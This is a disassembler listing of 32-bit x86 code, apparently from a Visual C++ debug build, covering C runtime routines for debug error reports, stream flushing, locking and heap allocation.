mov eax, [ebp+arg_10] mov [ebp+var_1118], eax jmp short loc_4251F3 ; --------------------------------------------------------------------------- loc_4251E9: ; CODE XREF: sub_4250B0+12Cj mov [ebp+var_1118], offset dword_43EEFC loc_4251F3: ; CODE XREF: sub_4250B0+137j mov ecx, [ebp+arg_10] movsx edx, byte ptr [ecx] test edx, edx jz short loc_42520F cmp [ebp+arg_0], 2 jnz short loc_42520F mov [ebp+var_111C], offset aExpression ; "Expression: " jmp short loc_425219 ; --------------------------------------------------------------------------- loc_42520F: ; CODE XREF: sub_4250B0+14Bj ; sub_4250B0+151j mov [ebp+var_111C], offset dword_43EEFC loc_425219: ; CODE XREF: sub_4250B0+15Dj mov eax, [ebp+arg_10] movsx ecx, byte ptr [eax] test ecx, ecx jz short loc_42522F mov [ebp+var_1120], offset asc_43EEE8 ; "\n\n" jmp short loc_425239 ; --------------------------------------------------------------------------- loc_42522F: ; CODE XREF: sub_4250B0+171j mov [ebp+var_1120], offset dword_43EEFC loc_425239: ; CODE XREF: sub_4250B0+17Dj cmp [ebp+arg_8], 0 jz short loc_42524A mov edx, [ebp+arg_8] loc_425242: ; DATA XREF: .XComp0:00452CE4o ; .XComp0:004531ECo mov [ebp+var_1124], edx jmp short loc_425254 ; --------------------------------------------------------------------------- loc_42524A: ; CODE XREF: sub_4250B0+18Dj mov [ebp+var_1124], offset dword_43EEFC loc_425254: ; CODE XREF: sub_4250B0+198j cmp [ebp+arg_8], 0 jz short loc_425266 mov [ebp+var_1128], offset aLine ; "\nLine: " jmp short loc_425270 ; --------------------------------------------------------------------------- loc_425266: ; CODE XREF: sub_4250B0+1A8j mov [ebp+var_1128], offset dword_43EEFC loc_425270: ; CODE XREF: sub_4250B0+1B4j cmp [ebp+arg_4], 0 jz short loc_425281 mov eax, [ebp+arg_4] mov [ebp+var_112C], eax jmp short loc_42528B ; --------------------------------------------------------------------------- loc_425281: ; CODE XREF: sub_4250B0+1C4j mov [ebp+var_112C], offset dword_43EEFC loc_42528B: ; CODE XREF: sub_4250B0+1CFj cmp [ebp+arg_4], 0 jz short loc_42529D mov [ebp+var_1130], offset aFile ; "\nFile: " jmp short loc_4252A7 ; --------------------------------------------------------------------------- loc_42529D: ; CODE XREF: sub_4250B0+1DFj mov [ebp+var_1130], offset dword_43EEFC loc_4252A7: ; CODE XREF: sub_4250B0+1EBj cmp [ebp+var_1110], 0 jz short loc_4252BE mov ecx, [ebp+var_1110] mov [ebp+var_1134], ecx jmp short loc_4252C8 ; --------------------------------------------------------------------------- loc_4252BE: ; CODE XREF: sub_4250B0+1FEj mov [ebp+var_1134], offset dword_43EEFC loc_4252C8: ; CODE XREF: sub_4250B0+20Cj cmp [ebp+var_1110], 0 jz short loc_4252DD mov [ebp+var_1138], offset aModule ; "\nModule: " jmp short loc_4252E7 ; --------------------------------------------------------------------------- loc_4252DD: ; CODE XREF: sub_4250B0+21Fj mov [ebp+var_1138], offset dword_43EEFC loc_4252E7: ; CODE XREF: sub_4250B0+22Bj mov edx, [ebp+var_1114] push edx mov eax, [ebp+var_1118] push eax mov ecx, [ebp+var_111C] push ecx mov edx, [ebp+var_1120] push edx mov eax, [ebp+var_1124] push eax mov ecx, [ebp+var_1128] push ecx mov edx, [ebp+var_112C] push edx mov eax, [ebp+var_1130] push eax mov ecx, [ebp+var_1134] push ecx mov edx, [ebp+var_1138] push edx mov eax, [ebp+var_4] push eax mov ecx, [ebp+arg_0] mov edx, off_4501E4[ecx*4] push edx push offset aDebugSProgramS ; "Debug %s!\n\nProgram: %s%s%s%s%s%s%s%s%s%"... loc_425341: ; DATA XREF: .XComp0:00453264o push 1000h lea eax, [ebp+var_110C] push eax call sub_421B90 add esp, 3Ch test eax, eax jge short loc_42536D push offset a_crtdbgreportS ; "_CrtDbgReport: String too long or IO Er"... lea ecx, [ebp+var_110C] push ecx call sub_422580 add esp, 8 loc_42536D: ; CODE XREF: sub_4250B0+2A7j push 12012h push offset aMicrosoftVisua ; "Microsoft Visual C++ Debug Library" lea edx, [ebp+var_110C] push edx call sub_433100 add esp, 0Ch mov [ebp+var_10C], eax cmp [ebp+var_10C], 3 jnz short loc_4253A6 push 16h call sub_432E40 add esp, 4 push 3 call sub_421820 loc_4253A6: ; CODE XREF: sub_4250B0+2E3j cmp [ebp+var_10C], 4 jnz short loc_4253B6 mov eax, 1 jmp short loc_4253B8 ; --------------------------------------------------------------------------- loc_4253B6: ; CODE XREF: sub_4250B0+2FDj xor eax, eax loc_4253B8: ; CODE XREF: sub_4250B0+304j mov esp, ebp pop ebp retn sub_4250B0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4253C0 proc near ; CODE XREF: sub_41ECE0+71p ; sub_433B40+400p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] cmp eax, dword_4E96A0 jnb short loc_4253F1 mov ecx, [ebp+arg_0] sar ecx, 5 mov edx, [ebp+arg_0] and edx, 1Fh imul edx, 24h mov eax, dword_4E95A0[ecx*4] movsx ecx, byte ptr [eax+edx+4] and ecx, 1 test ecx, ecx jnz short loc_42540C loc_4253F1: ; CODE XREF: sub_4253C0+Dj call sub_42C1E0 mov dword ptr [eax], 9 call sub_42C1F0 mov dword ptr [eax], 0 or eax, 0FFFFFFFFh jmp short loc_425436 ; --------------------------------------------------------------------------- loc_42540C: ; CODE XREF: sub_4253C0+2Fj mov edx, [ebp+arg_0] push edx call sub_4336D0 add esp, 4 mov eax, [ebp+arg_0] push eax call sub_425440 add esp, 4 mov [ebp+var_4], eax mov ecx, [ebp+arg_0] push ecx call sub_433760 add esp, 4 mov eax, [ebp+var_4] loc_425436: ; CODE XREF: sub_4253C0+4Aj mov esp, ebp pop ebp retn sub_4253C0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425440 proc near ; CODE XREF: sub_4253C0+5Cp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push esi mov eax, [ebp+arg_0] push eax call sub_433550 loc_42544E: ; DATA XREF: .XComp0:00453254o add esp, 4 cmp eax, 0FFFFFFFFh jz short loc_425493 cmp [ebp+arg_0], 1 jz short loc_425462 cmp [ebp+arg_0], 2 jnz short loc_42547C loc_425462: ; CODE XREF: sub_425440+1Aj push 1 call sub_433550 add esp, 4 mov esi, eax push 2 call sub_433550 add esp, 4 cmp esi, eax jz short loc_425493 loc_42547C: ; CODE XREF: sub_425440+20j mov ecx, [ebp+arg_0] push ecx call sub_433550 add esp, 4 push eax call near ptr 27800D6h nop test eax, eax jz short loc_42549C loc_425493: ; CODE XREF: sub_425440+14j ; sub_425440+3Aj mov [ebp+var_4], 0 jmp short loc_4254A5 ; --------------------------------------------------------------------------- loc_42549C: ; CODE XREF: sub_425440+51j call near ptr 27A0A66h nop mov [ebp+var_4], eax loc_4254A5: ; CODE XREF: sub_425440+5Aj mov edx, [ebp+arg_0] push edx call sub_433470 add esp, 4 mov eax, [ebp+arg_0] sar eax, 5 mov ecx, [ebp+arg_0] and ecx, 1Fh imul ecx, 24h mov edx, dword_4E95A0[eax*4] mov byte ptr [edx+ecx+4], 0 cmp [ebp+var_4], 0 jz short loc_4254E3 mov eax, [ebp+var_4] push eax call sub_42C140 add esp, 4 or eax, 0FFFFFFFFh jmp short loc_4254E5 ; --------------------------------------------------------------------------- loc_4254E3: ; CODE XREF: sub_425440+90j xor eax, eax loc_4254E5: ; CODE XREF: sub_425440+A1j pop esi mov esp, ebp pop ebp retn sub_425440 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4254F0 proc near ; CODE XREF: sub_41ECE0+62p arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx push esi push edi loc_4254F6: ; CODE XREF: sub_4254F0+2Ej cmp [ebp+arg_0], 0 jnz short loc_42551A push offset dword_43E494 push 0 push 30h push offset a_freebuf_c ; "_freebuf.c" push 2 call sub_424D20 add esp, 14h cmp eax, 1 jnz short loc_42551A int 3 ; Trap to Debugger loc_42551A: ; CODE XREF: sub_4254F0+Aj ; sub_4254F0+27j xor eax, eax test eax, eax jnz short loc_4254F6 mov ecx, [ebp+arg_0] mov edx, [ecx+0Ch] and edx, 83h test edx, edx jz short loc_42557D mov eax, [ebp+arg_0] mov ecx, [eax+0Ch] and ecx, 8 test ecx, ecx jz short loc_42557D push 2 mov edx, [ebp+arg_0] mov eax, [edx+8] push eax call sub_41F970 add esp, 8 mov ecx, [ebp+arg_0] mov edx, [ecx+0Ch] and edx, 0FFFFFBF7h mov eax, [ebp+arg_0] mov [eax+0Ch], edx mov ecx, [ebp+arg_0] mov dword ptr [ecx], 0 mov edx, [ebp+arg_0] mov dword ptr [edx+8], 0 mov eax, [ebp+arg_0] mov dword ptr [eax+4], 0 loc_42557D: ; CODE XREF: sub_4254F0+3Ej ; sub_4254F0+4Bj pop edi pop esi pop ebx pop ebp retn sub_4254F0 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx cmp dword ptr [ebp+8], 0 jnz short loc_4255A6 push 0 call sub_425700 add esp, 4 jmp short loc_4255D0 ; --------------------------------------------------------------------------- loc_4255A6: ; CODE XREF: .XComp0:00425598j mov eax, [ebp+8] push eax call sub_424B30 add esp, 4 mov ecx, [ebp+8] push ecx call sub_4255E0 add esp, 4 mov [ebp-4], eax mov edx, [ebp+8] push edx call sub_424BA0 add esp, 4 mov eax, [ebp-4] loc_4255D0: ; CODE XREF: .XComp0:004255A4j mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4255E0 proc near ; CODE XREF: .XComp0:004255B6p ; sub_425700+B1p ... arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] push eax call sub_425630 add esp, 4 test eax, eax jz short loc_4255F8 or eax, 0FFFFFFFFh jmp short loc_42561F ; --------------------------------------------------------------------------- loc_4255F8: ; CODE XREF: sub_4255E0+11j mov ecx, [ebp+arg_0] mov edx, [ecx+0Ch] and edx, 4000h test edx, edx jz short loc_42561D mov eax, [ebp+arg_0] mov ecx, [eax+10h] push ecx call sub_433790 add esp, 4 neg eax sbb eax, eax jmp short loc_42561F ; --------------------------------------------------------------------------- loc_42561D: ; CODE XREF: sub_4255E0+26j xor eax, eax loc_42561F: ; CODE XREF: sub_4255E0+16j ; sub_4255E0+3Bj pop ebp retn sub_4255E0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425630 proc near ; CODE XREF: sub_41ECE0+53p ; sub_423D50+A2p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch mov [ebp+var_4], 0 mov eax, [ebp+arg_0] mov [ebp+var_8], eax mov ecx, [ebp+var_8] mov edx, [ecx+0Ch] and edx, 3 cmp edx, 2 jnz short loc_4256CB mov eax, [ebp+var_8] mov ecx, [eax+0Ch] and ecx, 108h test ecx, ecx jz short loc_4256CB mov edx, [ebp+var_8] mov eax, [ebp+var_8] mov ecx, [edx] sub ecx, [eax+8] mov [ebp+var_C], ecx cmp [ebp+var_C], 0 jle short loc_4256CB mov edx, [ebp+var_C] push edx mov eax, [ebp+var_8] mov ecx, [eax+8] push ecx mov edx, [ebp+var_8] mov eax, [edx+10h] push eax call sub_430550 add esp, 0Ch cmp eax, [ebp+var_C] jnz short loc_4256B5 mov ecx, [ebp+var_8] mov edx, [ecx+0Ch] and edx, 80h test edx, edx jz short loc_4256B3 mov eax, [ebp+var_8] mov ecx, [eax+0Ch] and ecx, 0FFFFFFFDh mov edx, [ebp+var_8] mov [edx+0Ch], ecx loc_4256B3: ; CODE XREF: sub_425630+72j jmp short loc_4256CB ; --------------------------------------------------------------------------- loc_4256B5: ; CODE XREF: sub_425630+62j mov eax, [ebp+var_8] mov ecx, [eax+0Ch] or ecx, 20h mov edx, [ebp+var_8] mov [edx+0Ch], ecx mov [ebp+var_4], 0FFFFFFFFh loc_4256CB: ; CODE XREF: sub_425630+1Fj ; sub_425630+2Fj ... mov eax, [ebp+var_8] mov ecx, [ebp+var_8] mov edx, [ecx+8] mov [eax], edx mov eax, [ebp+var_8] mov dword ptr [eax+4], 0 mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_425630 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4256F0 proc near ; CODE XREF: sub_424B10+3p push ebp mov ebp, esp push 1 call sub_425700 add esp, 4 pop ebp retn sub_4256F0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425700 proc near ; CODE XREF: .XComp0:0042559Cp ; sub_4256F0+5p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch mov [ebp+var_4], 0 mov [ebp+var_8], 0 push 2 call sub_425990 add esp, 4 mov [ebp+var_C], 0 jmp short loc_425730 ; --------------------------------------------------------------------------- loc_425727: ; CODE XREF: sub_425700:loc_42581Ej mov eax, [ebp+var_C] add eax, 1 mov [ebp+var_C], eax loc_425730: ; CODE XREF: sub_425700+25j mov ecx, [ebp+var_C] cmp ecx, dword_4EA900 jge loc_425823 mov edx, [ebp+var_C] mov eax, dword_4E98F4 cmp dword ptr [eax+edx*4], 0 jz loc_42581E mov ecx, [ebp+var_C] mov edx, dword_4E98F4 mov eax, [edx+ecx*4] mov ecx, [eax+0Ch] and ecx, 83h test ecx, ecx jz loc_42581E mov edx, [ebp+var_C] mov eax, dword_4E98F4 mov ecx, [eax+edx*4] push ecx mov edx, [ebp+var_C] push edx call sub_424B70 add esp, 8 mov eax, [ebp+var_C] mov ecx, dword_4E98F4 mov edx, [ecx+eax*4] mov eax, [edx+0Ch] and eax, 83h test eax, eax jz short loc_425805 cmp [ebp+arg_0], 1 jnz short loc_4257C9 mov ecx, [ebp+var_C] mov edx, dword_4E98F4 mov eax, [edx+ecx*4] push eax call sub_4255E0 add esp, 4 cmp eax, 0FFFFFFFFh jz short loc_4257C7 mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx loc_4257C7: ; CODE XREF: sub_425700+BCj jmp short loc_425805 ; --------------------------------------------------------------------------- loc_4257C9: ; CODE XREF: sub_425700+A2j cmp [ebp+arg_0], 0 jnz short loc_425805 mov edx, [ebp+var_C] mov eax, dword_4E98F4 mov ecx, [eax+edx*4] mov edx, [ecx+0Ch] and edx, 2 test edx, edx jz short loc_425805 mov eax, [ebp+var_C] mov ecx, dword_4E98F4 mov edx, [ecx+eax*4] push edx call sub_4255E0 add esp, 4 cmp eax, 0FFFFFFFFh jnz short loc_425805 mov [ebp+var_8], 0FFFFFFFFh loc_425805: ; CODE XREF: sub_425700+9Cj ; sub_425700:loc_4257C7j ... mov eax, [ebp+var_C] mov ecx, dword_4E98F4 mov edx, [ecx+eax*4] push edx mov eax, [ebp+var_C] push eax call sub_424BE0 add esp, 8 loc_42581E: ; CODE XREF: sub_425700+4Bj ; sub_425700+68j jmp loc_425727 ; --------------------------------------------------------------------------- loc_425823: ; CODE XREF: sub_425700+39j push 2 call sub_425A30 add esp, 4 cmp [ebp+arg_0], 1 jnz short loc_425838 mov eax, [ebp+var_4] jmp short loc_42583B ; --------------------------------------------------------------------------- loc_425838: ; CODE XREF: sub_425700+131j mov eax, [ebp+var_8] loc_42583B: ; CODE XREF: sub_425700+136j mov esp, ebp pop ebp retn sub_425700 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx push 9 call sub_425990 add esp, 4 mov eax, dword_4E925C mov [ebp-4], eax mov ecx, [ebp+8] mov dword_4E925C, ecx push 9 call sub_425A30 add esp, 4 mov eax, [ebp-4] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov eax, dword_4E925C pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425880 proc near ; CODE XREF: sub_41EE20+7Dp ; sub_425B70+41p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, dword_4E925C mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_4258A0 mov ecx, [ebp+arg_0] push ecx call [ebp+var_4] add esp, 4 test eax, eax jnz short loc_4258A4 loc_4258A0: ; CODE XREF: sub_425880+10j xor eax, eax jmp short loc_4258A9 ; --------------------------------------------------------------------------- loc_4258A4: ; CODE XREF: sub_425880+1Ej mov eax, 1 loc_4258A9: ; CODE XREF: sub_425880+22j mov esp, ebp pop ebp retn sub_425880 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4258B0 proc near ; CODE XREF: sub_42B550+4p push ebp mov ebp, esp mov eax, off_450234 push eax call near ptr 29405B9h nop mov ecx, off_450224 push ecx nop call near ptr 29405B9h mov edx, off_450214 push edx call near ptr 29405B9h nop mov eax, off_4501F4 push eax nop call near ptr 29405B9h pop ebp retn sub_4258B0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4258F0 proc near ; CODE XREF: .XComp0:0042B5E3p var_4 = dword ptr -4 push ebp mov ebp, esp push ecx mov [ebp+var_4], 0 jmp short loc_425906 ; --------------------------------------------------------------------------- loc_4258FD: ; CODE XREF: sub_4258F0:loc_425957j mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax loc_425906: ; CODE XREF: sub_4258F0+Bj cmp [ebp+var_4], 30h jge short loc_425959 mov ecx, [ebp+var_4] cmp dword_4501F0[ecx*4], 0 jz short loc_425957 cmp [ebp+var_4], 11h jz short loc_425957 cmp [ebp+var_4], 0Dh jz short loc_425957 cmp [ebp+var_4], 9 jz short loc_425957 cmp [ebp+var_4], 1 jz short loc_425957 mov edx, [ebp+var_4] mov eax, dword_4501F0[edx*4] push eax call near ptr 2800913h nop push 2 mov ecx, [ebp+var_4] mov edx, dword_4501F0[ecx*4] push edx call sub_41F970 add esp, 8 loc_425957: ; CODE XREF: sub_4258F0+27j ; sub_4258F0+2Dj ... jmp short loc_4258FD ; --------------------------------------------------------------------------- loc_425959: ; CODE XREF: sub_4258F0+1Aj mov eax, off_450214 push eax call near ptr 2800913h nop mov ecx, off_450224 push ecx nop call near ptr 2800913h mov edx, off_450234 push edx call near ptr 2800913h nop mov eax, off_4501F4 push eax nop call near ptr 2800913h mov esp, ebp pop ebp retn sub_4258F0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425990 proc near ; CODE XREF: sub_41EE20+25p ; sub_41F2C0+25p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] cmp dword_4501F0[eax*4], 0 jnz short loc_425A12 push 0E1h push offset aMlock_c ; "mlock.c" push 2 push 18h call sub_41EDD0 add esp, 10h mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_4259CA push 11h call sub_424980 add esp, 4 loc_4259CA: ; CODE XREF: sub_425990+2Ej push 11h call sub_425990 add esp, 4 mov ecx, [ebp+arg_0] cmp dword_4501F0[ecx*4], 0 jnz short loc_4259FA mov edx, [ebp+var_4] push edx call near ptr 29405B9h nop mov eax, [ebp+arg_0] mov ecx, [ebp+var_4] mov dword_4501F0[eax*4], ecx jmp short loc_425A08 ; --------------------------------------------------------------------------- loc_4259FA: ; CODE XREF: sub_425990+4Fj push 2 mov edx, [ebp+var_4] push edx call sub_41F970 add esp, 8 loc_425A08: ; CODE XREF: sub_425990+68j push 11h call sub_425A30 add esp, 4 loc_425A12: ; CODE XREF: sub_425990+Fj mov eax, [ebp+arg_0] mov ecx, dword_4501F0[eax*4] push ecx nop call near ptr 7C901005h mov esp, ebp pop ebp retn sub_425990 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425A30 proc near ; CODE XREF: sub_41EE7D+2p ; sub_41F323+2p ... arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] mov ecx, dword_4501F0[eax*4] push ecx nop call near ptr 7C9010EDh pop ebp retn sub_425A30 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp mov eax, [ebp+8] push eax push 0 nop call near ptr 29406E1h push 0FFh call near ptr 7C81CDDAh nop pop ebp retn ; --------------------------------------------------------------------------- push esi inc ebx xor dh, [eax] pop eax inc ebx xor [eax], dh ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425A74 proc near ; DATA XREF: sub_41EE20+Ao ; sub_41F2C0+Ao ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi push ebp cld mov ebx, [ebp+arg_4] mov eax, [ebp+arg_0] test dword ptr [eax+4], 6 jnz loc_425B14 mov [ebp+var_8], eax mov eax, [ebp+arg_8] mov [ebp+var_4], eax lea eax, [ebp+var_8] mov [ebx-4], eax mov esi, [ebx+0Ch] mov edi, [ebx+8] loc_425AA7: ; CODE XREF: sub_425A74+90j cmp esi, 0FFFFFFFFh jz short loc_425B0D lea ecx, [esi+esi*2] cmp dword ptr [edi+ecx*4+4], 0 jz short loc_425AFB push esi push ebp lea ebp, [ebx+10h] call dword ptr [edi+ecx*4+4] pop ebp pop esi mov ebx, [ebp+arg_4] or eax, eax jz short loc_425AFB js short loc_425B06 mov edi, [ebx+8] push ebx call sub_423690 ; --------------------------------------------------------------------------- add esp, 4 lea ebp, [ebx+10h] push esi push ebx call sub_4236D2 add esp, 8 lea ecx, [esi+esi*2] push 1 mov eax, [edi+ecx*4+8] call sub_423766 mov eax, [edi+ecx*4] mov [ebx+0Ch], eax call dword ptr [edi+ecx*4+8] loc_425AFB: ; CODE XREF: sub_425A74+40j ; sub_425A74+52j mov edi, [ebx+8] lea ecx, [esi+esi*2] mov esi, [edi+ecx*4] jmp short loc_425AA7 ; --------------------------------------------------------------------------- loc_425B06: ; CODE XREF: sub_425A74+54j mov eax, 0 jmp short loc_425B29 ; --------------------------------------------------------------------------- loc_425B0D: ; CODE XREF: sub_425A74+36j mov eax, 1 jmp short loc_425B29 ; --------------------------------------------------------------------------- loc_425B14: ; CODE XREF: sub_425A74+18j push ebp lea ebp, [ebx+10h] push 0FFFFFFFFh push ebx call sub_4236D2 add esp, 8 pop ebp mov eax, 1 loc_425B29: ; CODE XREF: sub_425A74+97j ; sub_425A74+9Ej pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_425A74 endp ; --------------------------------------------------------------------------- push ebp mov ecx, [esp+8] mov ebp, [ecx] mov eax, [ecx+1Ch] push eax mov eax, [ecx+18h] push eax call sub_4236D2 add esp, 8 pop ebp retn 4 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425B50 proc near ; CODE XREF: sub_425F40+33p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, dword_4E9258 push eax mov ecx, [ebp+arg_0] push ecx call sub_425B70 add esp, 8 mov [ebp+var_4], eax mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_425B50 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425B70 proc near ; CODE XREF: sub_425B50+Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx cmp [ebp+arg_0], 0FFFFFFE0h jbe short loc_425B7E xor eax, eax jmp short loc_425BC3 ; --------------------------------------------------------------------------- loc_425B7E: ; CODE XREF: sub_425B70+8j ; sub_425B70:loc_425BC1j cmp [ebp+arg_0], 0FFFFFFE0h ja short loc_425B95 mov eax, [ebp+arg_0] push eax call sub_425BD0 add esp, 4 mov [ebp+var_4], eax jmp short loc_425B9C ; --------------------------------------------------------------------------- loc_425B95: ; CODE XREF: sub_425B70+12j mov [ebp+var_4], 0 loc_425B9C: ; CODE XREF: sub_425B70+23j cmp [ebp+var_4], 0 jnz short loc_425BA8 cmp [ebp+arg_4], 0 jnz short loc_425BAD loc_425BA8: ; CODE XREF: sub_425B70+30j mov eax, [ebp+var_4] jmp short loc_425BC3 ; --------------------------------------------------------------------------- loc_425BAD: ; CODE XREF: sub_425B70+36j mov ecx, [ebp+arg_0] push ecx call sub_425880 add esp, 4 test eax, eax jnz short loc_425BC1 xor eax, eax jmp short loc_425BC3 ; --------------------------------------------------------------------------- loc_425BC1: ; CODE XREF: sub_425B70+4Bj jmp short loc_425B7E ; --------------------------------------------------------------------------- loc_425BC3: ; CODE XREF: sub_425B70+Cj ; sub_425B70+3Bj ... mov esp, ebp pop ebp retn sub_425B70 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425BD0 proc near ; CODE XREF: sub_41EEE0+19Dp ; sub_425B70+18p var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 ; FUNCTION CHUNK AT 00425C40 SIZE 00000077 BYTES ; FUNCTION CHUNK AT 00425CC2 SIZE 0000005B BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_43EFC8 push offset sub_425A74 mov eax, large fs:0 push eax mov large fs:0, esp add esp, 0FFFFFFF4h push ebx push esi push edi cmp dword_4E98CC, 3 jnz short loc_425C53 mov eax, [ebp+arg_0] cmp eax, dword_4E98EC ja short loc_425C4E push 9 call sub_425990 add esp, 4 mov [ebp+var_4], 0 mov ecx, [ebp+arg_0] push ecx call sub_426EA0 add esp, 4 mov [ebp+var_1C], eax mov [ebp+var_4], 0FFFFFFFFh call sub_425C35 jmp short loc_425C40 sub_425BD0 endp ; =============== S U B R O U T I N E ======================================= sub_425C35 proc near ; CODE XREF: sub_425BD0+5Ep ; DATA XREF: .XComp0:0043EFD0o push 9 call sub_425A30 add esp, 4 retn sub_425C35 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425BD0 loc_425C40: ; CODE XREF: sub_425BD0+63j cmp [ebp+var_1C], 0 jz short loc_425C4E mov eax, [ebp+var_1C] jmp loc_425D0C ; --------------------------------------------------------------------------- loc_425C4E: ; CODE XREF: sub_425BD0+35j ; sub_425BD0+74j jmp loc_425CE1 ; --------------------------------------------------------------------------- loc_425C53: ; CODE XREF: sub_425BD0+2Aj cmp dword_4E98CC, 2 jnz loc_425CE1 cmp [ebp+arg_0], 0 jz short loc_425C74 mov edx, [ebp+arg_0] add edx, 0Fh and edx, 0FFFFFFF0h mov [ebp+arg_0], edx jmp short loc_425C7B ; --------------------------------------------------------------------------- loc_425C74: ; CODE XREF: sub_425BD0+94j mov [ebp+arg_0], 10h loc_425C7B: ; CODE XREF: sub_425BD0+A2j mov eax, [ebp+arg_0] cmp eax, dword_4522DC ja short loc_425CCD push 9 call sub_425990 add esp, 4 mov [ebp+var_4], 1 mov ecx, [ebp+arg_0] shr ecx, 4 push ecx call sub_428920 add esp, 4 mov [ebp+var_1C], eax mov [ebp+var_4], 0FFFFFFFFh call sub_425CB7 jmp short loc_425CC2 ; END OF FUNCTION CHUNK FOR sub_425BD0 ; =============== S U B R O U T I N E ======================================= sub_425CB7 proc near ; CODE XREF: sub_425BD0+E0p ; DATA XREF: .XComp0:0043EFDCo push 9 call sub_425A30 add esp, 4 retn sub_425CB7 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425BD0 loc_425CC2: ; CODE XREF: sub_425BD0+E5j cmp [ebp+var_1C], 0 jz short loc_425CCD mov eax, [ebp+var_1C] jmp short loc_425D0C ; --------------------------------------------------------------------------- loc_425CCD: ; CODE XREF: sub_425BD0+B4j ; sub_425BD0+F6j mov edx, [ebp+arg_0] push edx push 0 mov eax, dword_4E98C8 push eax nop call near ptr 2950000h jmp short loc_425D0C ; --------------------------------------------------------------------------- loc_425CE1: ; CODE XREF: sub_425BD0:loc_425C4Ej ; sub_425BD0+8Aj cmp [ebp+arg_0], 0 jnz short loc_425CEE mov [ebp+arg_0], 1 loc_425CEE: ; CODE XREF: sub_425BD0+115j mov ecx, [ebp+arg_0] add ecx, 0Fh and ecx, 0FFFFFFF0h mov [ebp+arg_0], ecx mov edx, [ebp+arg_0] push edx push 0 mov eax, dword_4E98C8 push eax call near ptr 2950000h nop loc_425D0C: ; CODE XREF: sub_425BD0+79j ; sub_425BD0+FBj ... mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; END OF FUNCTION CHUNK FOR sub_425BD0 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425D20 proc near ; CODE XREF: sub_41EEE0+79p ; sub_41F350+C1p ... push ebp mov ebp, esp mov eax, 1 pop ebp retn sub_425D20 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425D30 proc near ; CODE XREF: sub_41F350+2D4p var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr 